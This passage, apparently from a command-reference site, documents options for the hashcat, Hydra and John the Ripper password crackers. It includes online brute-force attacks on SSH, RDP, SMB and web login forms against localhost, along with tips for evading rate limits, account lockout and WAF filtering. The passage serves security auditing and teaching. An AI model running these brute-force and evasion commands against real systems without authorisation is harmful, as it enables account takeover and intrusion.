--generate-rules=5000 hashes.txt list.txt ``` Automatically generates 5000 random rules to find new patterns. ### hashcat -m 0 --generate-rules-func-min=2 --generate-rules-func-max=5 hashes.txt list.txt ```bash hashcat -m 0 --generate-rules-func-min=2 --generate-rules-func-max=5 hashes.txt list.txt ``` Constrains generated rules to have between 2 and 5 functions per rule. ## Output Formatting ### hashcat -m 0 --outfile-check-timer=60 hashes.txt list.txt ```bash hashcat -m 0 --outfile-check-timer=60 hashes.txt list.txt ``` Checks the outfile every 60 seconds to see if it was modified externally. ## Input Handling ### hashcat -m 0 --encoding-from=utf16le --encoding-to=utf8 hashes.txt list.txt ```bash hashcat -m 0 --encoding-from=utf16le --encoding-to=utf8 hashes.txt list.txt ``` Converts input wordlist from UTF-16LE to UTF-8 internal representation. ## Algorithm Specific ### hashcat -m 2500 --nonce-error-corrections=10 capture.hccapx list.txt ```bash hashcat -m 2500 --nonce-error-corrections=10 capture.hccapx list.txt ``` Increases WPA nonce error correction range for noisy captures. ### hashcat -m 500 -O hashes.txt list.txt ```bash hashcat -m 500 -O hashes.txt list.txt ``` Attacks md5crypt (Unix) using optimized kernels. ### hashcat -m 7400 sha256crypt.txt list.txt ```bash hashcat -m 7400 sha256crypt.txt list.txt ``` Attacks sha256crypt hashes (Round 5). ### hashcat -m 100 hashes.txt list.txt ```bash hashcat -m 100 hashes.txt list.txt ``` Attacks standard SHA1 hashes. ### hashcat -m 1400 hashes.txt list.txt ```bash hashcat -m 1400 hashes.txt list.txt ``` Attacks standard SHA256 hashes. ### hashcat -m 1700 hashes.txt list.txt ```bash hashcat -m 1700 hashes.txt list.txt ``` Attacks standard SHA512 hashes. ## Workload Profiles ### hashcat -w 1 -m 0 hashes.txt list.txt ```bash hashcat -w 1 -m 0 hashes.txt list.txt ``` Sets workload to 'Low' to keep the computer usable during cracking. ## Hybrid Custom ### hashcat -a 6 -m 0 hashes.txt list.txt -1 ?d?s ?1?1 ```bash hashcat -a 6 -m 0 hashes.txt list.txt -1 ?d?s ?1?1 ``` Hybrid attack appending 2 characters that are either digits or symbols. ## Mask Incremental ### hashcat -a 3 --increment-min 1 --increment-max 4 hashes.txt ?d?d?d?d ```bash hashcat -a 3 --increment-min 1 --increment-max 4 hashes.txt ?d?d?d?d ``` Brute forces numeric PINs from length 1 up to 4. ## Enterprise Audit ### hashcat -m 5500 netntlmv1.txt list.txt ```bash hashcat -m 5500 netntlmv1.txt list.txt ``` Attacks legacy NetNTLMv1 hashes. ### hashcat -m 2100 mscash2.txt list.txt ```bash hashcat -m 2100 mscash2.txt list.txt ``` Attacks Domain Cached Credentials 2 (DCC2/MSCash2). ## Keyspace Info ### hashcat -a 3 --keyspace ?l?l?l?l ```bash hashcat -a 3 --keyspace ?l?l?l?l ``` Calculates and displays the total number of combinations for a given mask. ## Wordlist Management ### hashcat --stdout -r rules/best64.rule list.txt > mutated_list.txt ```bash hashcat --stdout -r rules/best64.rule list.txt > mutated_list.txt ``` Creates a pre-computed wordlist by applying rules and saving the output. ## Clean Up ### hashcat --session=project1 --cleanup-rules ```bash hashcat --session=project1 --cleanup-rules ``` Removes temporary rule files generated during a session. ## Hardware Info ### hashcat --cpu-affinity=1,2 -m 0 hashes.txt list.txt ```bash hashcat --cpu-affinity=1,2 -m 0 hashes.txt list.txt ``` Locks Hashcat processes to specific CPU cores. ## Advanced Config ### hashcat --backend-ignore-cuda -m 0 hashes.txt list.txt ```bash hashcat --backend-ignore-cuda -m 0 hashes.txt list.txt ``` Forces Hashcat to ignore CUDA devices and use OpenCL only. ### hashcat --spin-damp=50 -m 0 hashes.txt list.txt ```bash hashcat --spin-damp=50 -m 0 hashes.txt list.txt ``` Adjusts the CPU spin dampening workaround for specific driver loads. ## Related tools - [John the Ripper](https://terminal.rokibulroni.com/tool/credentials/john) - [Crunch](https://terminal.rokibulroni.com/tool/credentials/crunch) - [CeWL](https://terminal.rokibulroni.com/tool/credentials/cewl) # Tool: Hydra > A fast, parallel online login brute-forcer supporting SSH, FTP, HTTP forms, SMB, RDP, databases and dozens more protocols. - Category: Credentials - Commands: 75 - Page: https://terminal.rokibulroni.com/tool/credentials/hydra - Homepage: https://github.com/vanhauser-thc/thc-hydra - Documentation: https://github.com/vanhauser-thc/thc-hydra#readme - Tags: brute force, online attacks, authentication ## Install - apt: `sudo apt install hydra` - brew: `brew install hydra` ## Basic Syntax ### hydra -h ```bash hydra -h ``` Displays the main help menu and list of supported protocols. ## Basic Credential Testing ### hydra -l admin -p password ssh://127.0.0.1 ```bash hydra -l admin -p password ssh://127.0.0.1 ``` Tests a single username and single password against an SSH service. ### hydra -l root -p toor ftp://127.0.0.1 ```bash hydra -l root -p toor ftp://127.0.0.1 ``` Tests a single username and password against an FTP service. ## Target Specification ### hydra -l admin -p password ssh://127.0.0.1:2222 ```bash hydra -l admin -p password ssh://127.0.0.1:2222 ``` Targets a service running on a non-standard port using URI syntax. ### hydra -l admin -p password -s 2222 127.0.0.1 ssh ```bash hydra -l admin -p password -s 2222 127.0.0.1 ssh ``` Targets a service on a non-standard port using the -s flag. ## Username and Password Handling ### hydra -L users.txt -p password ssh://127.0.0.1 ```bash hydra -L users.txt -p password ssh://127.0.0.1 ``` Tests a list of usernames against a single fixed password. ### hydra -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -l admin -P passwords.txt ssh://127.0.0.1 ``` Tests a single username against a wordlist of passwords. ### hydra -L users.txt -P passwords.txt ssh://127.0.0.1 ```bash hydra -L users.txt -P passwords.txt ssh://127.0.0.1 ``` Performs a full matrix attack using both a username list and a password list. ### hydra -C creds.txt ssh://127.0.0.1 ```bash hydra -C creds.txt ssh://127.0.0.1 ``` Uses a colon-separated credentials file (user:pass) instead of separate lists. ## Password Generation ### hydra -l admin -x 4:4:a ssh://127.0.0.1 ```bash hydra -l admin -x 4:4:a ssh://127.0.0.1 ``` Generates passwords on the fly (4 chars, lowercase only) instead of using a wordlist. ### hydra -l admin -x 4:6:a1 ssh://127.0.0.1 ```bash hydra -l admin -x 4:6:a1 ssh://127.0.0.1 ``` Generates passwords from length 4 to 6 using lowercase letters and numbers. ## Target Lists ### hydra -M targets.txt -l admin -P passwords.txt ssh ```bash hydra -M targets.txt -l admin -P passwords.txt ssh ``` Attacks a list of target IPs provided in a file. ## Protocol Specific: RDP ### hydra -l admin -P passwords.txt rdp://127.0.0.1 ```bash hydra -l admin -P passwords.txt rdp://127.0.0.1 ``` Tests credentials against Remote Desktop Protocol (RDP). ## Protocol Specific: SMB ### hydra -l admin -P passwords.txt smb://127.0.0.1 ```bash hydra -l admin -P passwords.txt smb://127.0.0.1 ``` Tests credentials against Server Message Block (SMB). ## Protocol Specific: VNC ### hydra -P passwords.txt vnc://127.0.0.1 ```bash hydra -P passwords.txt vnc://127.0.0.1 ``` Tests passwords against VNC (which typically only requires a password). ## Protocol Specific: Databases ### hydra -l root -P passwords.txt mysql://127.0.0.1 ```bash hydra -l root -P passwords.txt mysql://127.0.0.1 ``` Tests credentials against a MySQL database server. ### hydra -l postgres -P passwords.txt postgres://127.0.0.1 ```bash hydra -l postgres -P passwords.txt postgres://127.0.0.1 ``` Tests credentials against a PostgreSQL database server. ### hydra -P passwords.txt redis://127.0.0.1 ```bash hydra -P passwords.txt redis://127.0.0.1 ``` Tests passwords against a Redis instance. ## Protocol Specific: SNMP ### hydra -P communities.txt snmp://127.0.0.1 ```bash hydra -P communities.txt snmp://127.0.0.1 ``` Tests for valid SNMP community strings using the password list. ## HTTP Authentication ### hydra -l admin -P passwords.txt http-get://127.0.0.1/admin ```bash hydra -l admin -P passwords.txt http-get://127.0.0.1/admin ``` Tests Basic Auth on a specific path using HTTP GET. ## SSL/TLS Support ### hydra -S -l admin -P passwords.txt https-get://127.0.0.1/admin ```bash hydra -S -l admin -P passwords.txt https-get://127.0.0.1/admin ``` Enables SSL/TLS explicitly for the connection using the -S flag. ## HTTP Form Authentication ### hydra -l admin -P passwords.txt 127.0.0.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login failed" ```bash hydra -l admin -P passwords.txt 127.0.0.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login failed" ``` Attacks an HTTP POST login form by defining the path, body parameters, and a failure string. ### hydra -l admin -P passwords.txt 127.0.0.1 http-post-form "/login.php:u=^USER^&p=^PASS^:S=Welcome back" ```bash hydra -l admin -P passwords.txt 127.0.0.1 http-post-form "/login.php:u=^USER^&p=^PASS^:S=Welcome back" ``` Attacks an HTTP POST login form using a Success string (S=) match instead of failure. ## HTTP Header Manipulation ### hydra -l admin -P pass.txt 127.0.0.1 http-post-form "/api/login:user=^USER^&pass=^PASS^:F=fail:H=X-Custom-Header: value" ```bash hydra -l admin -P pass.txt 127.0.0.1 http-post-form "/api/login:user=^USER^&pass=^PASS^:F=fail:H=X-Custom-Header: value" ``` Injects a custom HTTP header into the request using the H= parameter. ## HTTP Cookie Handling ### hydra -l admin -P pass.txt 127.0.0.1 http-post-form "/login:u=^USER^&p=^PASS^:F=Bad:H=Cookie: session=123" ```bash hydra -l admin -P pass.txt 127.0.0.1 http-post-form "/login:u=^USER^&p=^PASS^:F=Bad:H=Cookie: session=123" ``` Passes a specific session cookie in the headers during the attack. ## Performance Tuning ### hydra -t 1 -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -t 1 -l admin -P passwords.txt ssh://127.0.0.1 ``` Limits the attack to exactly 1 task (thread) to reduce server load. ### hydra -t 32 -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -t 32 -l admin -P passwords.txt ssh://127.0.0.1 ``` Increases parallelism to 32 tasks for faster scanning on capable networks. ## Rate Limiting ### hydra -w 5 -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -w 5 -l admin -P passwords.txt ssh://127.0.0.1 ``` Waits 5 seconds between connection attempts to evade simple rate limits. ### hydra -W 2 -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -W 2 -l admin -P passwords.txt ssh://127.0.0.1 ``` Adds a random wait time (up to 2 seconds) between connects. ## Logging and Output ### hydra -v -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -v -l admin -P passwords.txt ssh://127.0.0.1 ``` Enables verbose mode to show login attempts and errors. ### hydra -V -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -V -l admin -P passwords.txt ssh://127.0.0.1 ``` Enables debug mode showing username/password combinations as they are tried. ### hydra -o results.txt -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -o results.txt -l admin -P passwords.txt ssh://127.0.0.1 ``` Writes the valid found pairs to a text file. ### hydra -o results.json -b json -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -o results.json -b json -l admin -P passwords.txt ssh://127.0.0.1 ``` Outputs the results in JSON format for easier parsing by other tools. ## Session Management ### hydra -R ```bash hydra -R ``` Restores a previously aborted session using the hydra.restore file. ## Advanced Networking ### hydra -4 -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -4 -l admin -P passwords.txt ssh://127.0.0.1 ``` Forces the use of IPv4 addresses only. ### hydra -6 -l admin -P passwords.txt ssh://[::1] ```bash hydra -6 -l admin -P passwords.txt ssh://[::1] ``` Forces the use of IPv6 addresses only. ## Proxy Usage ### hydra -x http:127.0.0.1:8080 -l admin -P passwords.txt http-get://test.lab ```bash hydra -x http:127.0.0.1:8080 -l admin -P passwords.txt http-get://test.lab ``` Routes the attack traffic through an HTTP proxy. ### hydra -x socks5:127.0.0.1:9050 -l admin -P passwords.txt ssh://test.lab ```bash hydra -x socks5:127.0.0.1:9050 -l admin -P passwords.txt ssh://test.lab ``` Routes the attack traffic through a SOCKS5 proxy (e.g., Tor). ### hydra -x socks5:user:pass@127.0.0.1:1080 -l admin -P pass.txt ssh://test.lab ```bash hydra -x socks5:user:pass@127.0.0.1:1080 -l admin -P pass.txt ssh://test.lab ``` Routes traffic through an authenticated SOCKS5 proxy. ## Module Options ### hydra -m /path/to/key -l user -P pass.txt ssh://127.0.0.1 ```bash hydra -m /path/to/key -l user -P pass.txt ssh://127.0.0.1 ``` Uses the -m flag to pass module-specific options (e.g., SSH private key path). ## Exit Conditions ### hydra -f -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -f -l admin -P passwords.txt ssh://127.0.0.1 ``` Exits immediately after the first valid credential pair is found. ### hydra -F -L users.txt -P passwords.txt ssh://127.0.0.1 ```bash hydra -F -L users.txt -P passwords.txt ssh://127.0.0.1 ``` Stops the entire audit (all targets) after finding any valid credential. ## Looping ### hydra -l admin -p password -u ssh://127.0.0.1 ```bash hydra -l admin -p password -u ssh://127.0.0.1 ``` Loops across usernames (-u) checking all passwords for one user before moving to next. ## Null Password Checks ### hydra -e n -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -e n -l admin -P passwords.txt ssh://127.0.0.1 ``` Specifically adds a check for a null (empty) password. ## Same-as-Login Checks ### hydra -e s -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -e s -l admin -P passwords.txt ssh://127.0.0.1 ``` Adds a check where the password is the same as the username. ## Reverse Login Checks ### hydra -e r -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -e r -l admin -P passwords.txt ssh://127.0.0.1 ``` Adds a check where the password is the username reversed. ## Comprehensive Checks ### hydra -e nsr -l admin -P passwords.txt ssh://127.0.0.1 ```bash hydra -e nsr -l admin -P passwords.txt ssh://127.0.0.1 ``` Checks null, same-as-user, and reverse-user passwords in addition to the wordlist. ## SMTP Enumeration ### hydra -l user -P pass.txt smtp-enum://127.0.0.1 ```bash hydra -l user -P pass.txt smtp-enum://127.0.0.1 ``` Uses the SMTP VRFY command to enumerate valid users before attacking. ## Cisco Enable ### hydra -P passwords.txt cisco-enable://127.0.0.1 ```bash hydra -P passwords.txt cisco-enable://127.0.0.1 ``` Targets the enable password on Cisco devices. ## LDAP Authentication ### hydra -l admin -P pass.txt ldap://127.0.0.1 ```bash hydra -l admin -P pass.txt ldap://127.0.0.1 ``` Tests credentials against an LDAP directory service. ## Oracle Listener ### hydra -l admin -P pass.txt oracle-listener://127.0.0.1 ```bash hydra -l admin -P pass.txt oracle-listener://127.0.0.1 ``` Targets the Oracle TNS listener. ## Red Team Simulation ### hydra -t 1 -W 10 -f -l admin -P top10.txt ssh://127.0.0.1 ```bash hydra -t 1 -W 10 -f -l admin -P top10.txt ssh://127.0.0.1 ``` Simulates a stealthy low-and-slow attack using very few threads and long waits. ## Blue Team Validation ### hydra -t 64 -l admin -P rockyou.txt ssh://127.0.0.1 ```bash hydra -t 64 -l admin -P rockyou.txt ssh://127.0.0.1 ``` Simulates a noisy, high-velocity brute force to test IDS/IPS triggering. ## User-Agent Spoofing ### hydra -l admin -P pass.txt -w 1 http-get://127.0.0.1/ -H "User-Agent: Mozilla/5.0" ```bash hydra -l admin -P pass.txt -w 1 http-get://127.0.0.1/ -H "User-Agent: Mozilla/5.0" ``` Spoofs the User-Agent header to bypass simple WAF filtering or look legitimate. ## Service Scan Verification ### hydra -U -m /path/to/passwords ssh://127.0.0.1 ```bash hydra -U -m /path/to/passwords ssh://127.0.0.1 ``` Prints the service module details without running the attack (-U). ## Time-based Termination ### hydra -l admin -P massive_list.txt ssh://127.0.0.1 ```bash hydra -l admin -P massive_list.txt ssh://127.0.0.1 ``` Example: ```bash timeout 60s hydra -l admin -P massive_list.txt ssh://127.0.0.1 ``` Combines with OS 'timeout' to limit attack duration during automated testing. ## FTP Specifics ### hydra -l user -P pass.txt ftp://127.0.0.1 -vV ```bash hydra -l user -P pass.txt ftp://127.0.0.1 -vV ``` Verbose FTP attack to debug connection or protocol handshake issues. ## IMAP/POP3 Mail ### hydra -l user -P pass.txt imap://127.0.0.1 ```bash hydra -l user -P pass.txt imap://127.0.0.1 ``` Tests credentials against an IMAP mail server. ### hydra -l user -P pass.txt pop3://127.0.0.1 ```bash hydra -l user -P pass.txt pop3://127.0.0.1 ``` Tests credentials against a POP3 mail server. ## SOCKS Proxy Attack ### hydra -l user -P pass.txt socks5://127.0.0.1 ```bash hydra -l user -P pass.txt socks5://127.0.0.1 ``` Attacks the credentials of the SOCKS proxy server itself. ## Telnet Legacy ### hydra -l root -P pass.txt telnet://127.0.0.1 ```bash hydra -l root -P pass.txt telnet://127.0.0.1 ``` Tests credentials on legacy Telnet services. ## TeamCity/CI CD ### hydra -l admin -P pass.txt teamcity://127.0.0.1 ```bash hydra -l admin -P pass.txt teamcity://127.0.0.1 ``` Targets JetBrains TeamCity build servers. ## VMware vCenter ### hydra -l administrator@vsphere.local -P pass.txt vcenter://127.0.0.1 ```bash hydra -l administrator@vsphere.local -P pass.txt vcenter://127.0.0.1 ``` Targets VMware vCenter authentication. ## Subversion (SVN) ### hydra -l admin -P pass.txt svn://127.0.0.1 ```bash hydra -l admin -P pass.txt svn://127.0.0.1 ``` Tests credentials against an SVN repository. ## IRC Authentication ### hydra -l user -P pass.txt irc://127.0.0.1 ```bash hydra -l user -P pass.txt irc://127.0.0.1 ``` Attacks IRC server passwords. ## PC Anywhere ### hydra -P pass.txt pcanywhere://127.0.0.1 ```bash hydra -P pass.txt pcanywhere://127.0.0.1 ``` Targets legacy PC Anywhere remote access services. ## RSH/Rexec ### hydra -l root -P pass.txt rexec://127.0.0.1 ```bash hydra -l root -P pass.txt rexec://127.0.0.1 ``` Targets remote execution services. ## Rlogin ### hydra -l root -P pass.txt rlogin://127.0.0.1 ```bash hydra -l root -P pass.txt rlogin://127.0.0.1 ``` Targets the legacy rlogin protocol. ## SIP/VoIP ### hydra -l 1001 -P pass.txt sip://127.0.0.1 ```bash hydra -l 1001 -P pass.txt sip://127.0.0.1 ``` Tests credentials on SIP-based VoIP servers. ## Environment Variable Input ### HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -l u -P p.txt ssh://target ```bash HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -l u -P p.txt ssh://target ``` Uses environment variables to configure proxy settings outside the command flags. ## Detection Evasion ### hydra -t 1 -w 15 -f -l admin -P pass.txt ssh://127.0.0.1 ```bash hydra -t 1 -w 15 -f -l admin -P pass.txt ssh://127.0.0.1 ``` Extreme slow-roll configuration to attempt bypassing account lockout policies. ## Automated Pipeline ### hydra -l admin -P pass.txt -o /tmp/audit.json -b json ssh://127.0.0.1 > /dev/null ```bash hydra -l admin -P pass.txt -o /tmp/audit.json -b json ssh://127.0.0.1 > /dev/null ``` Run silently in CI/CD, outputting only a JSON artifact. ## Windows Auth (SMB2) ### hydra -l Administrator -P pass.txt smb://127.0.0.1 -m smb2 ```bash hydra -l Administrator -P pass.txt smb://127.0.0.1 -m smb2 ``` Forces SMB version 2 for Windows authentication testing. ## Interactive Verification ### hydra -l admin -p password -s 22 ssh://127.0.0.1 -v ```bash hydra -l admin -p password -s 22 ssh://127.0.0.1 -v ``` Manual verification of a single credential with verbose output to confirm access. ## Complex HTTP Pattern ### hydra -l user -P pass.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Error" -c 30 ```bash hydra -l user -P pass.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Error" -c 30 ``` Limits the wait time for socket connections to 30 seconds using -c. ## Related tools - [Medusa](https://terminal.rokibulroni.com/tool/credentials/medusa) - [Ncrack](https://terminal.rokibulroni.com/tool/credentials/ncrack) - [Patator](https://terminal.rokibulroni.com/tool/credentials/patator) # Tool: John the Ripper > A versatile password cracker (use the “jumbo” build) with automatic hash detection and *2john helpers for files, archives and keys. - Category: Credentials - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/credentials/john - Homepage: https://www.openwall.com/john/ - Documentation: https://www.openwall.com/john/doc/ - Tags: password cracking, hashes, CPU ## Install - apt: `sudo apt install john` - brew: `brew install john-jumbo` - docker: `docker run -it --rm openwall/john` ## Basic Usage ### john hashes.txt ```bash john hashes.txt ``` Runs John in default mode with automatic format detection and Single crack mode. ### john --show hashes.txt ```bash john --show hashes.txt ``` Displays passwords that have already been cracked and stored in the pot file. ## Installation & Test ### john --test ```bash john --test ``` Benchmarks the system performance for all supported algorithms to verify installation. ## Format Identification ### john --list=formats ```bash john --list=formats ``` Lists all hash formats supported by the installed version of John the Ripper. ## Specific Format ### john --format=NAME hashes.txt ```bash john --format=NAME hashes.txt ``` Example: ```bash john --format=Raw-MD5 hashes.txt ``` Forces John to use a specific hash format avoiding auto-detection errors. ## Dictionary Attack ### john --wordlist=FILE hashes.txt ```bash john --wordlist=FILE hashes.txt ``` Example: ```bash john --wordlist=rockyou.txt hashes.txt ``` Performs a standard dictionary attack using the provided wordlist file. ### john --wordlist=FILE --format=NAME hashes.txt ```bash john --wordlist=FILE --format=NAME hashes.txt ``` Example: ```bash john --wordlist=rockyou.txt --format=sha512crypt hashes.txt ``` Combines a wordlist attack with a specific format specification for efficiency. ## Standard Input ### cat words.txt | john --stdin hashes.txt ```bash cat words.txt | john --stdin hashes.txt ``` Example: ```bash cat custom_words.txt | john --stdin hashes.txt ``` Reads candidate passwords from standard input instead of a file. ## Rule Based Attack ### john --wordlist=FILE --rules hashes.txt ```bash john --wordlist=FILE --rules hashes.txt ``` Example: ```bash john --wordlist=rockyou.txt --rules hashes.txt ``` Applies the default set of rules from john.conf to mutate words in the wordlist. ### john --rules:Jumbo --wordlist=FILE hashes.txt ```bash john --rules:Jumbo --wordlist=FILE hashes.txt ``` Example: ```bash john --rules:Jumbo --wordlist=rockyou.txt hashes.txt ``` Uses the extensive Jumbo rule set for deeper mutation and variation coverage. ## Single Crack Mode ### john --single hashes.txt ```bash john --single hashes.txt ``` Uses login names and GECOS information to guess passwords based on user data. ## Incremental Mode ### john --incremental hashes.txt ```bash john --incremental hashes.txt ``` Starts a powerful brute-force mode trying all possible character combinations. ### john --incremental:Alpha hashes.txt ```bash john --incremental:Alpha hashes.txt ``` Restricts incremental brute-force to alphabetic characters only. ### john --incremental:Digits hashes.txt ```bash john --incremental:Digits hashes.txt ``` Restricts incremental brute-force to numeric digits only. ## Mask Attack ### john --mask=MASK hashes.txt ```bash john --mask=MASK hashes.txt ``` Example: ```bash john --mask=?a?a?a?a?a?a hashes.txt ``` Attacks using a specific pattern where ?a represents all printable characters. ### john --mask=?u?l?l?l?d?d hashes.txt ```bash john --mask=?u?l?l?l?d?d hashes.txt ``` Targets patterns like Upper-Lower-Lower-Lower-Digit-Digit (e.g., Pass12). ## Hybrid Attack ### john --wordlist=FILE --mask=MASK hashes.txt ```bash john --wordlist=FILE --mask=MASK hashes.txt ``` Example: ```bash john --wordlist=rockyou.txt --mask=?w?d?d hashes.txt ``` Appends a mask to each word in the wordlist (e.g., password12). ## User Targeting ### john --users=LIST hashes.txt ```bash john --users=LIST hashes.txt ``` Example: ```bash john --users=admin,root hashes.txt ``` Restricts the attack to only the specified usernames within the hash file. ### john --users=!LIST hashes.txt ```bash john --users=!LIST hashes.txt ``` Example: ```bash john --users=!guest,support hashes.txt ``` Excludes specific usernames from the attack scope. ## Shell Filtering ### john --shells=LIST hashes.txt ```bash john --shells=LIST hashes.txt ``` Example: ```bash john --shells=/bin/bash,/bin/sh hashes.txt ``` Targets accounts that use specific valid login shells. ## Session Management ### john --session=NAME hashes.txt ```bash john --session=NAME hashes.txt ``` Example: ```bash john --session=job1 hashes.txt ``` Assigns a specific name to the cracking session for easier management. ### john --restore=NAME ```bash john --restore=NAME ``` Example: ```bash john --restore=job1 ``` Resumes a previously interrupted cracking session from the exact stopping point. ## Status Monitoring ### john --status=NAME ```bash john --status=NAME ``` Example: ```bash john --status=job1 ``` Prints the current status and progress of a running or paused session. ## Pot File Management ### john --pot=FILE hashes.txt ```bash john --pot=FILE hashes.txt ``` Example: ```bash john --pot=secure.pot hashes.txt ``` Uses a custom pot file path instead of the default ~/.john/john.pot. ## Loopback Attack ### john --loopback hashes.txt ```bash john --loopback hashes.txt ``` Uses previously cracked passwords in the pot file as a dictionary for new hashes. ## Configuration ### john --config=FILE hashes.txt ```bash john --config=FILE hashes.txt ``` Example: ```bash john --config=my_john.conf hashes.txt ``` Loads settings and rules from a custom configuration file. ## Performance Tuning ### john --fork=N hashes.txt ```bash john --fork=N hashes.txt ``` Example: ```bash john --fork=4 hashes.txt ``` Splits the workload across N CPU cores processes for parallel cracking. ### john --max-run-time=N hashes.txt ```bash john --max-run-time=N hashes.txt ``` Example: ```bash john --max-run-time=3600 hashes.txt ``` Gracefully stops the attack after N seconds (useful for time-boxed audits). ## Advanced Rules ### john --rules:Wordlist --wordlist=FILE hashes.txt ```bash john --rules:Wordlist --wordlist=FILE hashes.txt ``` Example: ```bash john --rules:Wordlist --wordlist=rockyou.txt hashes.txt ``` Uses the complex 'Wordlist' rule section defined in john.conf. ## External Mode ### john --external=MODE hashes.txt ```bash john --external=MODE hashes.txt ``` Example: ```bash john --external=Keyboard hashes.txt ``` Uses an external C-like function defined in the config (e.g., keyboard walk). ### john --external=Repeats hashes.txt ```bash john --external=Repeats hashes.txt ``` Generates candidates with repeating patterns defined in external config functions. ## Markov Mode ### john --markov=MODE hashes.txt ```bash john --markov=MODE hashes.txt ``` Example: ```bash john --markov=200 hashes.txt ``` Uses Markov chains to generate candidates based on statistical character frequency. ## Custom Charset ### john --make-charset=FILE ```bash john --make-charset=FILE ``` Example: ```bash john --make-charset=custom.chr ``` Generates a custom charset file based on current pot file statistics. ## Custom Charset Usage ### john --incremental=MODE --min-length=N --max-length=N hashes.txt ```bash john --incremental=MODE --min-length=N --max-length=N hashes.txt ``` Example: ```bash john --incremental=Alpha --min-length=8 --max-length=8 hashes.txt ``` Forces incremental mode to focus strictly on a specific password length range. ## Candidate Generation ### john --stdout --wordlist=FILE --rules ```bash john --stdout --wordlist=FILE --rules ``` Example: ```bash john --stdout --wordlist=rockyou.txt --rules ``` Outputs generated password candidates to stdout without cracking (for piping). ### john --stdout --incremental ```bash john --stdout --incremental ``` Example: ```bash john --stdout --incremental:Alpha ``` Outputs brute-force candidates to stdout to pipe into other tools like Hashcat. ## Output Formatting ### john --show --format=NAME --users=LIST hashes.txt ```bash john --show --format=NAME --users=LIST hashes.txt ``` Example: ```bash john --show --format=Raw-MD5 --users=admin hashes.txt ``` Shows cracked credentials filtered by format and specific username. ## Hash Type Validation ### john --test --format=NAME ```bash john --test --format=NAME ``` Example: ```bash john --test --format=bcrypt ``` Benchmarks a specific algorithm to check speed and stability on the host. ## Prince Integration ### john --prince=FILE hashes.txt ```bash john --prince=FILE hashes.txt ``` Example: ```bash john --prince=words.txt hashes.txt ``` Uses the PRINCE algorithm (PRobability INfinite Chained Elements) for candidate generation. ## Memory Tuning ### john --save-memory=LEVEL hashes.txt ```bash john --save-memory=LEVEL hashes.txt ``` Example: ```bash john --save-memory=1 hashes.txt ``` Adjusts memory usage logic (1-3) for memory-constrained environments. ## Regex Mode ### john --regex=PATTERN hashes.txt ```bash john --regex=PATTERN hashes.txt ``` Example: ```bash john --regex='[a-z]{5}[0-9]{2}' hashes.txt ``` Generates candidates based on a specific regular expression pattern. ## Salt Management ### john --salts=N hashes.txt ```bash john --salts=N hashes.txt ``` Example: ```bash john --salts=10 hashes.txt ``` Processes only if the number of salts meets the specified threshold. ## Cost Management ### john --costs=MIN:MAX hashes.txt ```bash john --costs=MIN:MAX hashes.txt ``` Example: ```bash john --costs=10:12 hashes.txt ``` Filters hashes based on cost factors (e.g., bcrypt rounds) to skip slow hashes. ## Blue Team Audit ### john --show --left hashes.txt ```bash john --show --left hashes.txt ``` Displays only the uncracked hashes remaining in the file. ## Red Team Analysis ### john --list=rules ```bash john --list=rules ``` Lists all rule sections defined in the configuration for auditing attack logic. ### john --list=opencl-devices ```bash john --list=opencl-devices ``` Enumerates available OpenCL devices (GPUs) for hardware acceleration. ## Automation ### john --progress-every=N hashes.txt ```bash john --progress-every=N hashes.txt ``` Example: ```bash john --progress-every=10 hashes.txt ``` Emits status lines every N seconds for automated log parsing. ### john --no-log hashes.txt ```bash john --no-log hashes.txt ``` Disables logging to the .log file to reduce I/O or artifacts. ## Mask Hybrid ### john --mask=?d?d?w?d?d --wordlist=FILE hashes.txt ```bash john --mask=?d?d?w?d?d --wordlist=FILE hashes.txt ``` Example: ```bash john --mask=?d?d?w?d?d --wordlist=words.txt hashes.txt ``` Injects the dictionary word into the middle of the mask pattern. ## Advanced Dictionary ### john --wordlist=FILE --mem-file-size=N hashes.txt ```bash john --wordlist=FILE --mem-file-size=N hashes.txt ``` Example: ```bash john --wordlist=huge.txt --mem-file-size=10000000 hashes.txt ``` Controls buffer size for loading wordlists to optimize large file handling. ## Incident Response ### john --show --format=NAME hashes.txt > report.txt ```bash john --show --format=NAME hashes.txt > report.txt ``` Example: ```bash john --show --format=nt hashes.txt > cracked_ntlm.txt ``` Exports cracked NTLM hashes to a file for lateral movement analysis. ## Rule Debugging ### john --rules --wordlist=FILE --stdout | head ```bash john --rules --wordlist=FILE --stdout | head ``` Example: ```bash john --rules --wordlist=pass.txt --stdout | head -n 20 ``` Previews the first 20 outputs of a rule set to verify mutation logic. ## Dynamic Compilation ### john --list=build-options ```bash john --list=build-options ``` Checks how the binary was compiled (e.g., SIMD, OpenMP) for optimization. ## Custom Mask Config ### john --mask=MASK --min-length=N hashes.txt ```bash john --mask=MASK --min-length=N hashes.txt ``` Example: ```bash john --mask=?l?l?l?l?l?l?l?l --min-length=8 hashes.txt ``` Overrrides config defaults to force an exact mask length. ## Environment Safety ### john --restore-timer=N hashes.txt ```bash john --restore-timer=N hashes.txt ``` Example: ```bash john --restore-timer=60 hashes.txt ``` Sets the interval for writing the restore file to prevent data loss on crash. ## Format Filtering ### john --list=formats --format=dynamic ```bash john --list=formats --format=dynamic ``` Lists only generic dynamic formats (useful for custom hash construction). ## Hardware Acceleration ### john --format=NAME --dev=N hashes.txt ```bash john --format=NAME --dev=N hashes.txt ``` Example: ```bash 